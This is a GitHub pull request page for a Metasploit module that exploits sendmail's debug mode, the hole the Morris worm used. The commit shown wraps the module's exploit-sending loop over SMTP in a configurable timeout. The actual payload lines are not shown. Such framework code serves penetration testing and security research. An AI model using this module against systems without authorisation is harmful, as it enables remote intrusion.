Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Morris worm sendmail debug mode exploit #10836

Merged
merged 8 commits into from
Nov 2, 2018
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Prev Previous commit
Next Next commit
Add a better timeout than expect can provide
  • Loading branch information
wvu committed Oct 20, 2018

Verified

This commit was created on GitHub.com and signed with GitHub’s verified signature. The key has expired.
commit 58a6c4137dae47d9da3acca04498e14836787e9c
26 changes: 17 additions & 9 deletions modules/exploits/unix/smtp/morris_sendmail_debug.rb
Original file line number Diff line number Diff line change
@@ -46,6 +46,10 @@ def initialize(info = {})
))

register_options([Opt::RPORT(25)])

register_advanced_options([
OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5])
])
end

def check
@@ -106,20 +110,24 @@ def exploit

print_status('Enabling debug mode and sending exploit')
sploit.each do |line, pattern|
if line
print_status("Sending: #{line}")
sock.put("#{line}\r\n")
end
if pattern
vprint_status("Expecting: #{pattern.inspect}")
sock.expect(pattern) do |pat|
return unless pat
vprint_good("Received: #{pat.first}")
Timeout.timeout(datastore['SendExpectTimeout']) do
if line
print_status("Sending: #{line}")
sock.put("#{line}\r\n")
end
if pattern
vprint_status("Expecting: #{pattern.inspect}")
sock.expect(pattern) do |pat|
return unless pat
vprint_good("Received: #{pat.first}")
end
end
end
end
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Timeout::Error
fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')
ensure
disconnect
end